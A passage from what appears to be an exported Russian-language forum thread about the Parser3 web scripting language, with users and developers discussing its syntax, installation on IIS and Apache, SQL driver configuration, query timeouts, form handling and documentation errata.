> 8. Возможно, работа с классами в парсере -- вещь совершенно излишняя.\
не согласен.\
\
> 9. Скобки. Их расположение имеет решающее значение, а понять, что же не так,\
> из документации невозможно, напр., вот это -- не работает:\
\
уже описал выше: скобки должны идти впритык.\
\
>Ошибки такого рода ловить крайне сложно, с точки зрения доки это одно и то же.\
>Получается, что здесь очень сложный несвободный формат записи.\
\
это вопрос привычки, синтаксические ошибки ловить всяко проще, чем любые остальные.\
\
> 10. Очень запутанно со скобками () [] {} и с обращениями . : ::\
в приводимом примере мог бы указать очевидные затыки, но не буду.\
я понапридумывал кучи вариантов синтаксиса,\
только так получилось читабельно, однозначно и удобно. \
\
>11. Точка после переменной или вызова может дать плохой эффект,\
>даже если после них никаких конструкций не идет.\
\
безусловно, это одна из мелочей, обуславливаемая погруженностью языка в текст.\
\
> Найдено ответов: $n.\
> Правильное решение\
> Найдено ответов: ${n}.\
> но оно приходит с опытом (т.е. с набитыми шишками и потерянным временем);\
хорошо описано в доке.\
\
> это всегда так, но на таких-то конструкциях можно бы и сэкономить :)\
внёс в faq.\
\
> 12. Включение файлов. \
> Нужна команда -- \"включить файл с обработкой\". Пока что сильно косвенно...\
см. faq про include.\
\
\
> 1. Работа с формами. Все рассчитано на то, что форма одна. \
почитайте стандарт http. формат submit'ится одна.\
\
> 2. УРЛы. Пример из доки:\
> $request:uri \
> /news/index.html?year=2000&month=05&day=27   \".\
> Лучше бы сия функция выдавала строку ДО \"?\". \
функция соответствует своему имени.\
любой разбор можно огранизовать средствами parser.\
match, lsplit, rsplit.\
\
> 1. Установка, особенно для новичков, весьма сложна. \
если кто-то возьмётся и напишет parser3setup.exe для windows, я буду рад опубликовать ссылку на его в download.\
\
> 2. Полезно было бы иметь библиотеку стандартных процедур. \
> Типа coounter, color... \
по мере написания публикуйте написанное, делитесь с коллегами.\
лучшие куски кода будут собираться и публиковаться отдельно.\
\
> 3. Очень плохо в новой версии урезать возможности программы.\
возможности сильно расширены.\
\
> 4. ... Планируется ли периодическое выкладывание новых версий бинарников на сайт, \
непременно.\
\
> 5. Установка парсера на расширение .html представляется не очень правильной методически.\
> М.б. сразу ориентироваться на .p2 для parser2, .p3 для parser3, и т.п.\
\
на какое хотите расширение, на такое и ассоциируйте, всё в ваших руках.\
\
> 6. Сложности ввода и вывода в форуме. \
> 90.2. История сообщений \
> 90.3. Хорошо бы иметь несколько подфорумов\
90.4. М.б. sns-serifs \
напишите письмо misha@design.ru, он подумает, что можно улучшить\
\
> 90.1. Полезно наличие раздела на сайте, где можно было бы выкладывать полезные решения,\
> найденные разработчиками и авторами программы.\
> например, библиотеки макросов.\
\
\"найденными пользователями parser3\".\
такой раздел будет создан, как только накопится сколько-то полезных примеров форуме.\
\
*** 99. Опечатки в доке\
\
> 99.1. В документации про math:random:\
> 99.2. try. Перехват и обработка ошибок\
99.3. try. \
fixed\
\
PAF"
"1332","я подумаю, и, возможно, в будущем сделаю иначе.\
конечно, так сделано не специально, чтобы испортить жизнь Constantine."
"1333","поскольку \
\
When the server invokes a CGI script, it will add a variable called DOCUMENT_ROOT to the environment. This variable will contain the value of the DocumentRoot configuration variable.\
http://httpd.apache.org/docs/mod/mod_cgi.html\
"
"1334","Не могу зацепить MySQL драйвер (я вообще не очень понимаю, что для этого требуется).\
Клолжил библиотеку рядом со скриптом, а Парсер среди прочего пишет:\
$SQL:drivers table must be defined"
"1335","в номере третьем аналог ^truncate[]?"
"1337","расскажи о впечатлениях"
"1338","Соотв.  табличка должна быть создана в parser3.conf и parser3.exe должен этот conf видеть. \
\
$SQL[$.drivers[^table::set{protocol	driver	clientodbc	c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/parser3odbc.dllmysql	c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/parser3mysql.dll	c:/MyWebsites/www.example.ru/html/cgi-bin/parser3/libmySQL.dll}]]\
\
http://www.parser.ru/forum/?id=977\
\
"
"1339","А можно ли исправления и в pdf варианте доки делать и выкладывать их на сайте? Поскольку у меня дома нет компа и я часто дома (перед сном) читаю доку, хотелось бы читать вариант без ошибок :)"
"1340","Проверка на предмет того, что length этого самого str больше x, и, if true - &#133^; в конце.."
"1341","[quote]я часто дома (перед сном) читаю доку[/quote]Быстро засыпаешь? ;-)"
"1342","Проверять, \
- не точка-ли последний символ\
- обрезать пробелы вначале и в конце...\
\
в общем приходим к выводу, что у каждого требования свои :) -> каждый пишет себе оператор :)"
"1343","Стр. 66 - $hash.$i - неверно, надо $dyn.$i"
"1345","но без толку. Они(на net.ru) говорят что изменить DOCUMENT_ROOT с /users на что-либо иное (нужное мне) решительно невозможно на их хостинге, посоветовали это обойти другими путями (не помню как, но это и неважно, потому что это все было \"неправильно\")."
"1346","Вроде всё сделал, но ни чего не меняется.\
У меня FreeBSD. Может там какой фокус есть?"
"1347","Чувствую, что сабжи -- мощнейшие механизмы, вот только как с ними работать? Почему-то когда надо что-то как-то преобразовать, то у меня всё кончается перебором тыщи комбинаций разных скобок, (un)taint[] и схем. :-((\
\
[code]\
$file_list[^file:list[.\\$form:dir;.*\\.jpg|gif*]]\
^file_list.menu{\
  $picture[^image::measure[${form:dir}/tn/^taint[as-is]{$file_list.name}]]\
  ^picture.html[$.border[1]]\
}\
[/code]\
Вот такой код. Всё хорошо работало, пока не встретился файл a+b.jpg. Что бы я ни делал (даже убирал нафик taint), парсер упорно говорит, что \
\
read failed: No such file or directory (2), actual filename 'c:/internet/www/localhost/pics/misc/tn/Frends_2BLapis.jpg'\
[b]c:/internet/www/localhost/pics/misc/tn/Frends+Lapis.jpg[b]\
\
А если просто ^taint[as-is][$file_list.name] в menu сделать, то говорит правильно, fr+lapis.\
\
Объясните, а?..."
"1349","Ситуация: перегружен сервер (занимаеться статистикой), соответственно сложные запросы (стоит mssql) выполняються медленно, парсет не дожидаеться и выдает \"время вышло\". Что могете посоветовать ??"
"1350","попробовал, не работает даже для ^table::sql\
Делаю такой вызов хран. процедуры:\
[code]\
exec sp_article @IdArticle = 417\
[/code]\
Мне выдается ошибка:\
[code]\
CDBException: Attempt to open a table failed - there were no columns to retrieve were specified.\
\
exec sp_article @IdArticle = 417\
[/code]\
\
Тот же самый вызов работает через Query Analyser и возращает данные."
"1352","да и пару изменившихся статей вполне можно print из online версии.\
но, конечно, со временем обновится и pdf тоже."
"1353","все имена файлов насильственно переводятся на язык file-spec.\
в основном, чтобы на диск не записалось то, на что потом нехорошо ставить ссылку.\
\
на файл a+b.gif ссылку вида <img src=a+b.gif> поставить по HTTP стандарту нельзя, хотя это и работает в apache+iis.\
\
общая идея: файлы, названные скриптовальщиком ему подконтрольны=называет так, как хочет.\
имена файлов, переданные нам посетителем потенциально глючны.\
и как таковые, в идеале, вообще не должны использоваться для записи чего-бы то ни было, лучше использовать id его картинки которая получена после регистрации его картинке в базе данных[см. mysql LAST_INSERT_ID].\
ну а уж если мы берёмся записать на диск под именем, которому не доверяем, это имя надо починить так, чтобы потом можно было на записанное поставить href="
"1354","я не очень понимаю, как они добились, чтобы он смотрел неправильно. ссылку на документацию по apache уже давал.\
диагноз: \
1.\
расскажи, как у них так получилось, может посоветуем чего.\
2.\
можешь попатчить под себя исходники и собрать, как хочешь.\
3.\
может быть, если такая проблема будет у многих, сделаю я."
"1355","т.е. может в фотошопе (или любом другом редакторе) сделать thumbnail, то\
\
1. Делаешь форму типа\
<input type=\"text\" /> - название\
<input type=\"file\" /> - картинка\
<textarea></textarea> - инфо\
\
2. Постишь в базу. Аплоадишь картинку с именем last_insert_id().gif|jpg\
\
3. На странице - достаешь из базы, по id цепляешь картинку.\
\
4. Дальше - обрабатываешь \"позор/похвалу\" от пользователей."
"1357","кэшируй все и вся - сильно помогает"
"1358","В самом деле, многие (вот я, напр.) работают без постоянного подключения к инету. Где взять обновления доки? Вот у меня функция line не описана, а в онлайне есть... Но откуда я узнаю, что какой-то небольшой (но ценный абзац) поменялся? Если бы можно было формировать обновления док (pdf, chm) -- было бы ОЧЕНЬ хорошо."
"1360","Здравтсуйте. У меня возникли небльшие трудности..Когда я запускаю  файл используя парсер вот что я вижу:\
(void) not a method or junction, can not call it\
menu\
\
C:/Inetpub/wwwroot/CGI/auto.p(6)\
exception.type=parser.runtime \
--------------------------------------------------------------------------------\
navigation C:/Inetpub/wwwroot/CGI/index.html(1)\
\
Помогите плиз... чем проблема?"
"1361","Вот фрагмент моего диалога с ними:\
\
Вопрос:\
[quote]\
Как-то давно вы мне говорили что у вас на хостинге переменную\
DOCUMENT_ROOT нельзя изменить с /users на реальный путь до корня веб\
пространства конкретного сайта. В доке по Apache написано следующее:\
\
When the server invokes a CGI script,\
it will add a variable called DOCUMENT_ROOT to the environment.\
This variable will contain the value of the DocumentRoot configuration variable.\
\
т.е. тут ясно написано что Apache устанавливает переменную\
DOCUMENT_ROOT эквивалентной конфигурационной переменной DocumentRoot\
определяемой в конфиге сервера или в секции для виртуального хоста.\
\
В связи с этим вопрос: Получается что у вас для всех хостящихся сайтов\
DocumentRoot одинаков?\
[/quote]\
Ответ:\
[quote]\
Да , совершенно верно - для всех DocumentRoot одинаковый.\
[/quote]\
\
Т.е. насколько я понимаю, - возможно они реализуют виртуальные серверы с помощью например mod_rewrite\
\
А насчет пропатчить исходники, я бы с радостью, но у меня нету FreeBSD и под Unix я совсем ничего не умею делать :)"
"1362","того, что там у тебя написано. желательно с использованием метатэгов [ code ][ /code ]"
"1364","у еще неопределенной таблицы..."
"1368","Я пытаюсь выплнить первое упражнение из дкументации...\
\
вот то что находится в файле auto.p\
______________\
@navigation[] $sections[^\
table::\
load[sections.cfg]]\
<table width=\"100%\" border=\"1\">\
<tr>\
^sections.menu{\
<td align=\"middle\">\
<a href=\"$sections.uri\"><nobr>$sections.name</nobr></a>\
</td>\
} </tr>\
</table>\
___________________"
"1369","... оператором\
[code]\
$sections[^table::load[sections.cfg]]\
[/code]\
\
проверяй, есть-ли у тебя такой файл и т.д..."
"1370","Написано где? В conf-файле или html-файле?"
"1371","Не мог бы ты ме выслать рабчие файлы на е-мэил? - himik@twelve.kz Я был бы весьма презнателен тебе..."
"1372","Комп(а точнее сам mssql) занимаеться обработкой траффика (парсер тут не участвует и комп при запуске обрабортки перегружаеться),\
и есть страница по выводу статистики(к процессу обработа траффика не относиться) по траффику: все до безобразия просто, кроме sql-запроса, который мы видем в ероре (запрос естественно формируеться в зависисмоти от прав аккаунта).\
[code]\
[sql query \"select a.name, k.name, sum(v.delta) from fw_value v, fw, fw_layout l, account a, traffic_kind k where fw.id = v.fw and l.fw=fw.id and k.id = l.kind and a.id=l.account and not ( v.value=v.delta and v.delta>1000000 or delta < 0 ) and v.enroll <= convert( datetime, '2002-05-30 23:59', 101 ) and v.expire >= convert( datetime, '2002-05-01 23:59', 101 ) AND a.name<>'[unassigned]' GROUP BY a.name, k.name ORDER BY a.name, k.name DESC\" error: CDBException, reason: Timeout expired ]\
[/code]\
В принципе вопрос только в одном, Как увеличить TimeOut ?"
"1375","и сделай это парсером - будет быстрее ;-)"
"1376","Обновляются они не одновременно:\
===\
  20020513parser3.chm (296,7 КБ)\
CHM формат (с ключевыми словами) \
  20020424parser3.pdf (644,6 КБ)\
PDF формат (версия для печати) \
===\
Интересно, чем все это формируется.\
Я PDF-документы просто через (La)ТеХ делаю.\
Еще хороший вариант -- TEI Lite (TEI-tools Б.Тоботраса).\
Осн. идея -- получение многих производных синхронизированных документов в разных форматах из одного (SGML, XML)-источника.\
\
Еще хорошо бы уведомлять о появлении новых док.\
Но это можно просто самому регулярно проверять, благо даты указаны в именах файлов.\
\
"
"1377","можешь тогда рассказать по шагам установку его под IIS?"
"1378","Я это делаю в parser3.conf:\
[code]\
$SQL[\
        $.drivers[^table::set{protocol  driver  client\
mysql   $sqldriversdir/libparser3mysql.so       /usr/local/mysql/lib/mysql/libmysqlclient.so\
}]\
]\
[/code]"
"1379","Но насколько я понимаю, это:\
1. есть в доке\
2. обсуждалось в форуме (используй поиск по форуму, я думаю, ключевое слово IIS ...)"
"1380","chm и html обновляются одновременно.\
pdf - реже.\
Что за прога это делает - лучше PAF расскажет. Я только знаю что у этой проги с pdf некоторые проблемы."
"1382","Прости за надоедливость, но апача у меня тооже есть..=)))..может расскажешь?"
"1383","Поставил на valuehost.\
.htaccess\
[code]CharsetDisable On\
\
SetEnv HTTP_PARSER_ROOT_CONFIG /path/to/Login/parser3/cgi-bin\
SetEnv HTTP_PARSER_SITE_CONFIG /path/to/Login/parser3/cgi-bin\
\
AddHandler parsed-html html \
Action parsed-html /cgi-bin/parser3.cgi\
\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all \
</Files> [/code]\
)\
Может быть сделал что-то не так, но в домене третьего уровня все пока работает."
"1384","Не совсем понял как работать с формами в парсере. Что надо:\
\
ФОРМА С Кнопкой (Submit)\
\
Парсер берет все данные из этой формы и сохраняет в текстовый файл.\
\
Напишите код, если не сложно\
"
"1385","Да. Там точно табуляторы.\
Вообще ситуеция не понятная. То выдаётся выше указаная ошибка, то вообще подвисает и в финале клиенту возвращается нулевой ответ.\
Закономерность я ещё не проследил."
"1386","Сначала: http://www.parser.ru/docs/lang/formfields.htm\
Потом: http://www.parser.ru/docs/lang/stringsave.htm\
Если совсем тяжко, еще и: http://www.parser.ru/docs/lang/stringclass.htm"
"1387","[code]\
$allfields[$form:fields]\
\
$text[^allfields.foreach[key;val]{$form:[$key]\
}]\
\
^text.save[ttt.txt]\
[/code]\
"
"1388","1.Хватай парсер\
2.Понадобится 2 страницы:первая с формой, вторая  сохраняет\
\
страница № 1(index.html)\
########################################\
<html>\
<head>\
	<title>first</title>\
</head>\
\
<body>\
\
<form action=\"save.html\">\
<input type=\"text\" name=\"first\"><br>\
\
<input type=\"text\" name=\"second\"><br>\
\
<input type=\"submit\">\
</form>\
\
</body>\
</html>\
\
страница № 2(save.html)\
########################################\
<html>\
<head>\
	<title>save</title>\
</head>\
\
<body>\
$stuff[$form:first, $form:second]\
\
^stuff.save[dienis.txt]\
</body>\
</html>"
"1390","сделай на основе этого запроса хранимую процедуру и используй ее. Новый ODBC драйвер (который корректно работает с хр. процедурами на выборку данных) скоро будет опубликован."
"1391","Заметил одну особенность: метод ^table.columns возвращает список полей только для именованных таблиц? но ведь у nameless-таблицы тоже имеются имена (\"0\", \"1\", \"2\" ... ). Планируется ли исправить это?"
"1393","Спасибо, гораздо удобнее стало работать."
"1394","парсер 2 стал первым языком для веба, который не имеет возможности работать с timeout'ом. \
Соответственно надо все переписывать на p3 и лезть в его исходники, что бы разобраться с timeout'ом - а это простите противоречит принципу парсера( язык не для программистов )....."
"1395","Надо сказать спасибо:\
1. MSSQL, который так медленно выполняет запросы\
2. компьютеру, который так медленно обрабатывает данные\
3. тому \"не программисту\" который строит такие запросы, что имеют место пп.1 и 2\
\
(между прочим, это timeout ODBC - можешь еще и им сказать спасибо)"
"1396","В строке $sections[^ table:: \
"
"1397","У вас что небывает таких проблем ????  Ведь приведенный мною запрос не такой уж и сложный( и совершенно не кривой). Сортировка парсером с этим запросом невозможна, т.к. с траффиком работают пользователи с разным уровнем прав и если для одного пользователя сортировку можно сделать и парсером, то для отображения трафика нескольких структур и организаций - это проще sql'ем. "
"1399","MS SQL запросы выполняет нормально, не хуже чем другие СУБД (с транзакциями). А если решать задачи в лоб, можно завалить(замедлить) любой сервер."
"1402","при соединении в p3 есть возможность настроить timeout:\
mysql://user:pass@host/database?timeout=3\
\
однако, как понимаю, дело в длинных запросах, и тут parser не особенно при чём.\
кроме как у него, есть ограничение\
у apache\
у browser\
у посетителя\
\
они не все настраиваются.\
\
диагноз: делать долгие запросы [b]асинхронно[/b], под unix это команда \"crontab\", под winnt \"at\", под другими win - в углу иконка сидит.\
\
со вторым parser надо было мудрить, чтобы вызвать CGI из консоли.\
с parser3 можно так:\
[code]\
cd ваш document_root\
/path/to/parser3 ваш_документ\
[/code]\
или так: создать файл с таким содержимым:\
[code]\
#!/path/to/parser3\
ваш код\
[/code]\
и запустить его, находясь в каталоге = ваше веб пространство"
"1403","в примере вижу текст на строке-заголовке метода\
текст за последней ] считается комментарием.\
диагноз: твоя таблица не создалась = нечего menu'шить"
"1404","[code]\
$text[^form:fields.foreach[key;val]{$key=$val\
}]\
^text.save[ttt.txt]\
[/code]"
"1405","у nameless таблиц nameов нетless.\
почему? потому, что они крайне не рекомендованы к применению: нужны только для чёрного дня, когда входные файлы к вам поступают в формате, на который вы не в силах повлиять. чтобы \"хоть как-то\" это безобразие считать.\
что именно в безобразии лежит, считается, что известно, поскольку как иначе с ним планируется работать?\
если известно, значит в вашей власти создать табличку с именами. из этой таблички можно получить и количество столбцов и остальное."
"1406","если apache считает корнем /users, то он его бы и показывал.\
думается мне, что админы что-то хитрое придумали.\
предлагаю спросить у них совета, как с этим хитрым бороться."
"1407","Эта проблема возникает при необходимости посчитаь количество колонок в таблице. Понятно что можно сделать flip, но это, по большому счету, извращение (особенно на больших таблицах). Может имеет смысл сделать что-то типа ^table.colcount[] ..."
"1408","Банальный (надеюсь) вопрос:\
сижу на рабочем интернете, исключительно замечательном, быстром и т.п. Для входа используется прокси-сервер (галочка соответствующая стоит, написано \"Адрес: 192.168.0.1\", \"Порт: 3128\"\
 \
Вопрос: как, исходя из этого, можно зайти через FTP на скажем, сайты в webservis.ru? В инете нашел FTP Voyager, про который было написано, что он заходит через прокси, однако в разделе \"прокси\" в типе соединения предлагалось указать: \"Sock4A, Sock4, Sock5, Direct Internet Access...\" В итоге при попытке соединения либо говорит \"неизвестная ошибка\", либо \"неправильный формат пароля\"...\
 \
А сисадмин... Сисадмин у нас ЗЛОЙ! Из серии: \
- Папа, почему солнце каждый день встает?\
- Точно каждый день?\
- Точно!\
- А ты это много раз проверял?\
- Много!\
- Тогда слушай, я не знаю, почему оно встает, но ради Бога!!! Ничего не трогай!!! Ничего не меняй!!!\
 \
"
"1409","А что делать, если у меня нет доступа к серверу, в частности к каталогам типа: C:\\WINNT и т. д. Максимум, что я могу - попросить админа, чтобы он поставил парсер обработчиком HTML на мой сайт.\
Со 2-м парсером проблем не было. А как настроить третий? Чтобы все его файлы, в том числе ODBC XML поддержка, таблицы кодировок лежали бы только в каталогах моего сайта?"
"1410","А про WinComander скажу - http://userguide.webservis.ru/ftp-setup-wincmd.shtml"
"1411","http://www.parser.ru/forum/?id=977"
"1412","пацаны! а как файлы - то аплоадить?"
"1413","http://www.parser.ru/docs/lang/fileclass.htm - читать. думать."
"1414","Я даже не знаю полного пути к каталогу своего сайта на сервере.\
Кроме того, этот путь может поменяться.\
И стоит там не Apache, а IIS5.1\
Ну нет у меня к нему доступа! Только ftp.\
Как настроить Parser3?"
"1415","...и невероятно, но помогло.\
 \
Благодарно жму руки."
"1416","В ней кекие данные.\
Вопрос! Как узнать количество строк?"
"1417","[b]Класс table[/b]\
\
Класс предназначен для работы с таблицами. \
\
Таблица считается определенной (def), если она не пуста. Числовое значение равно количеству строк таблицы\
\
(Это и называется RTFM)"
"1418","да да да да да .....\
посто запарился....\
огромный день, вусе дергают....\
все равно огромное спасибо"
"1419","Пример из урока 1 отображает\
[code]??/nobr>[/code] и кодировка браузера устанавливается в UTF-8. Ставлю кодировку windows -\
[code]второй[/code]\
F5 - [code]??/nobr>[/code].\
\
хостинг FreeBSD 4.5-RELEASE #2.\
\
Есть ли рецепты лечения такой болезни?"
"1420","Я понимаю, что выгляжу тупым, но\
плиз поясни(помнишь я спрашивал по поводу доски позора-почета)\
как будут складываться картинки и куда\
если можно, приведи пример кода....\
пли-и-и-и-и-з"
"1422","[code]MYSQL_LIBS -L/usr/local/mysql/lib/mysql -lmysqlclient -L/usr/lib -z[/code]\
Может в parser3.conf в строке $SQL[... надо что-то из этого указать?\
"
"1423","Задача следующая:\
в textarea набрать текст с переводами строк.\
Вывести в html.\
Это решаеться так:\
\
$buffer[^taint[html][$buffer]]\
$buffer[^buffer.match[\\n][g]{<br />}]\
$buffer\
\
(было на форуме)\
\
А вот обратно как ??? \
в смысле чтоб оно в текстарию загружалось !!!\
\
<textarea> $buffer </textarea>\
\
пробовал матчить наоборот, а оно \\n в textarea возвращает ... и никаких переводов строк ... не записывать же 2 раза в базу для html, и для textarea !\
\
\
"
"1424","Вот код:\
\
[code]@getcount[idn]\
^dbconnect{$childs[^table::sql{SELECT\
 count(*) AS cnt FROM forum WHERE\
 parentid='$idn'}]}^childs.menu{$childs.cnt}\
\
@drawthread[thisid;count]\
^dbconnect{\
 $thread[^table::sql{\
  SELECT id, parentid, subject FROM forum \
  WHERE parentid = '$thisid'\
  ORDER BY id DESC \
  ^if(def $count){LIMIT 0, $count}{LIMIT 0, 99}\
 }\
 ]\
}\
<ul>\
^thread.menu{	\
 <li class=small>$thread.subject</li> \
 ^if(^getcount[$thread.id]!=0){^drawthread[$thread.id]}{}}\
</ul>[/code]\
\
Вроде всё правильно - вызываю ^drawthread[0;10] и он выводит сначала  10 реплик нулевого уровня, а затем начинает рисовать их \"деток\". Но у меня получается вот какое кривое дерево:\
\
Реплика 1\
 - Ответ на реплику 1\
Ответ на реплику 1\
Ответ на реплику 1\
Ответ на реплику 1\
Ответ на реплику 1\
....\
\
Ощущение такое, что после отрисовки самой глубокой \"веточки\" $thread.id не обнуляется, и его \"заклинивает\". Где это происходит, я ума не приложу...\
"
"1425","[code]$buffer[^buffer.match[<br />][g]{\
}][/code]"
"1426","[code]@getcount[idn]\
^dbconnect{$childs[^table::sql{SELECT count(*) as cnt from forum WHERE parentid = '$idn'}]}^childs.menu{$childs.cnt}\
\
@drawthread[pid;count]\
^dbconnect{\
	$forum_$pid[^table::sql{\
		SELECT * FROM forum \
		WHERE parentid = '$pid' ^if(def $count){LIMIT 0, $count}{LIMIT 0, 256}\
	}]\
}\
<ul>\
^forum_$pid.menu{\
	<li>$forum_$pid.subject</li> ^drawthread[$forum_$pid.id]	\
}\
</ul>[/code]"
"1427","ненужные для textarea таги убирает, но строки не переносит ..."
"1428","Спасибо нашим АРТЕМОВЦАМ за то, что они наконец-то сделали форум пользуемым!!! aka usable.\
thanx\
И еще - вот здаю сессию и перед МОРЕМ буду НАКОНЕЦ-ТО юзИть ваш парсер...\
спасибо, но уже по славянски!!!\
С ДНЕМ СЛАВЯН ВСЕ ВАС!!!"
"1429","Но это всё равно как-то странно. parser3.conf лежащий с парсером в одной директории для корректного отображения кодировок требует прописание переменной сервера. Без этого [i]всё[/i] работает, [i]кроме кодировок[/i]. IMHO, такая фича парсера просто создаёт дополнительные неудобства для новых пользователей, который не хотят следовать инструкциям слово-в-слово. ;-) \
\
С надеждой на избавление новых пользователей от таких мучений, \
Constantine. :-)"
"1430","Вопросы я уже задавал, они все еще актуальны:\
1)\
Когда будет аналог die (слухи упоминали некую планируемую команду ^exit[])\
\
2)Ну просто совсем ОЧЕНЬ сильно хочу заполненый объект form в auto.p @auto[]\
Это бага или так задумано, что он там пустой?\
\
"
"1431","Полный путь выковыривается из переменных окружения\
Посмотри у себя весь список со значениями, сообразишь как ..."
"1432","ХРАНИ в базе с переносами\
матч только при выводе не в поля ввода\
в текстарию встявляй [as-is]\
ну может еще какую мелкую косметику навести предется\
но в целом метод надежен :)\
"
"1433","В гнусном IIS ты его сам не поставишь (как впрочем и 2-й парсер), надо тебе просить админа это делать или самому поиметь к IIS доступ и поставить его как написано в доке."
"1434","У тебя в конфигурационном файле сайта (не главном), должно быть следующее:\
[code]\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
[/code]"
"1435","Хранить надо так как было введено :)\
вдруг ты завтра возжелаешь ввести преобразование - перевод строки меняем на <hr />?"
"1436","Смотри на такой пример (но не как на неотложную истину, там тоже можно много пооптимизировать)\
\
0. храним thread_id - это избыточная информация, для записи с parent_id = 0 thread_id = id, для всех остальных записей в этом треде thread_id равен thread_id корневого элемента.\
\
1. достаем корневые объекты - один запрос.\
\
2. достаем все объекты с теми thread_id, которые у достатых парентов - еще один запрос (where thread_id IN (^parentList.menu{$parentList.id}[,])\
\
3. далее делаем что-нить типа этого:\
[code]\
# метод рисует элемент дерева\
@printTreeItem[item;body]\
$item.name\
$body\
\
\
# метод рекурсивно обходит все дерево\
@printMessagesByParent[parentId;threadId][localMessages]\
$localMessages[^allMessages.select($allMessages.parent_id==$parentId)]\
^localMessages.menu{\
	^printTreeItem[$localMessages.fields;^printMessagesByParent[$localMessages.id;$threadId]]\
}\
\
\
# собственно зовем так:\
@main[]\
$allMessages[тут достали то, из чего строим дерево, см. предыдущие пункты]\
^printMessagesByParent[0]\
[/code]\
\
Надеюсь, что я ничего не напутал, но думаю, что идея ясна.\
\
Да, чуть не забыл, я про это написал уже статейку, скоро выложу :)))\
\
И... процесс совершенствования безграничен, это далеко не единственный метод и в некоторых случаях не оптимальный.\
\
"
"1439","[quote]для всех остальных записей в этом треде thread_id равен thread_id корневого элемента.[/quote]Я бы рад использовать threadid, но у меня большущая проблема - у меня уже есть архив форума, под который нужен движок. У меня архив на 15 мегов зипом с 8700 сообщениями из форума на бесплатном движке Matt' Wright WWWBoard - сталкивался с этим уё...? Я долго с матом конвертировал это в sql-файл, и единственное, что я смог вытащить из этой кучи дерьма - 8700 html-файликов - это id, parentid, и сами тексты сообщений. Если я буду пытаться найти threadid для каждого мессиджа своим perl'овым конвертером, мне придётся для каждого сообщения открывать файл с его родителем, потом родителем родителя и так до тех пор, пока не упрусь в parentid=\"0\". Оценил сложность проблемы?\
\
Нет, находить parentid, конечно, можно - мой cоnverter.pl распухнет ещё на страницу и вместо трёх минут на Athlon 1Ghz будет выполняться десять :-) Я, конечно, пропробую... Но, в любом случае, и с такой структурой базы мой форум вертится довольно быстро - спасибо cache ;-)[quot]Да, чуть не забыл, я про это написал уже статейку, скоро выложу :)))[/quot]Ждём.. :-)"
"1440","на оба уже отвечал"
"1441","письмо до конца дочитать и ответить на соображения нельзя?"
"1442","Ты думаешь, я сразу thread_id прикрутил? :)\
\
Напишешь скрипт который пробежит и проставит thread_id, я верю в тебя.\
\
Я-же написал :)))\
Там фактически то, что ты привел в примере :)\
Обход дерева, только не вывод его а update базы.\
\
После этого начинаешь работать как положено :)\
\
Главное сразу пиши этот thread_id в базу...\
\
Если не напишешь - я его тебе пришлю, он у меня есть по любому, у меня в imprimarur 1.0 beta prerelease он есть (там ты наверное видел проверку базы... так там оно есть...)\
\
Там-же тоже дерево... Идея та-же.\
thread_id это избыточная инфа, которую всегда можно грохнуть и воссоздать заново.\
\
Удачи."
"1444","Я-то как раз дочитал ...\
\
Цитата из документации:\
[quote]\
Если необходимо получить таблицу без имен столбцов (что не рекомендуется), то перед заданием табличных данных необходимо указать опцию nameless. В этом случае столбцы первой строки воспринимаются конструктором как данные таблицы, а в качестве [b]имен столбцов[/b] выступят их порядковые номера, начиная с нулевого. \
[/quote]\
Значи имена все-таки есть ...\
\
Теперь практически для чего это нужно:\
Предположим, что надо построить таблицу с техническим характеристиками оборудования. Откуда я получу данные (из файла или из базы) неизвестно. Естественно, я получаю структуру таблицы с помощью ^table.columns, но работает это не для всех таблиц ... Вот и приходится извращаться с flip'ом, что, согласитесь, не вполне логично, и на читабельности кода сказывается не в лучшую сторону.\
\
"
"1445","эти колонки что, так и планируется выводить с цифровыми названиями?\
ведь нет?\
где сейчас берутся русские названия и как ассоциируются с номерами?\
разве это, в том числе, не источник количества колонок?\
[эту мысль я сразу написал, не уверен, что была понята]"
"1447","Заголовок таблицы строиться по первой строке таблицы, но не факт, что в каждой колонке обязательно есть надпись, в том числе и по-этому приходится использовать nameless-таблицы.\
\
"
"1449","На первый вопрос, ответ действительно был, правда он сильно быстро убежал вниз, и раньше достать его было несколько сложнее.\
Я просто его упустил, извиняюсь.\
\
>многое можно сделать с помощью throw\
А как остановить при помощи throw дальнейшую обработку?\
Прокомментируйте пожалуйста, будет ли ^exit[]\
\
\
А второй вопрос, PAF вроде как не почтил своим присутствием.\
http://parser.ru/forum/?id=1095\
\
Если это разбиралось ранее, то я наверное тогда еще не имел удовольствия быть участником форума.\
\
Подскажите, где я могу узнать об этом подробнее и желательно из официальных источников."
"1450","и посетитель медитирует над столбцами таблицы, у которых нет заголовка..."
"1451",">>многое можно сделать с помощью throw\
>А как остановить при помощи throw дальнейшую обработку?\
обработку запроса: очевидным образом\
\
>Прокомментируйте пожалуйста, будет ли ^exit[]\
как уже писал, его уже сейчас можно сделать самому[throw].\
\
в отдалённых планах:\
    ^exit[] + - прекращяет обработку запроса. \
        удобно сделать после выставления 401 ошибки\
    ^return[результат] + - уходит из выполнения метода, \
        выдавая нестандартный результат\
    ^break[] + - обрывает цикл\
    ^continue[] + - обрывает итерацию цикла\
\
но они не являются жизненно необходимыми, и для упрощения языка может решу их вообще не вводить."
"1452","Ну что ж, это грусно, слава богу что хоть в p3 сделали (мне правда от этого не лучше, но все же)"
"1454","А парсер честно сообщает это тебе...\
\
Хотя может я в чем и не прав..."
"1456","http://ab.lv/services/legal/fees_other/ - таблица у которой определены не все названия колонок"
"1457","А каким образом можно поймать абшыбку о таймауте, и не выводить пользователю оную, а выводить что-то типа \"сервер перегружен, попробуйте исчо раз\""
"1458","пользуйся try и throw"
"1459","Подскажите, пожалуйста, как:\
1. Подключить Parser к Linux (как описано в ДОКах не работает, почему-то)\
2. С использованием Parser написать HTML-страничку \"Hello? World!\"\
"
"1462","[code]\
^var[sqlError;^sql[blah-blah-blah]]\
^ifdef[^var[sqlError];Что-то не так с DB;^rem[Все нормально]]\
[/code]\
Этот код основывается на том, что ^sql[] только при ошибке выводит что-то на экран"
"1463","Но вот ещё напасть\
[code]empty string(1): '' $SQL:drivers table must be defined  type: parser.runtime[/code]"
"1464","Они просто не отображены, а это уже другой вопрос"
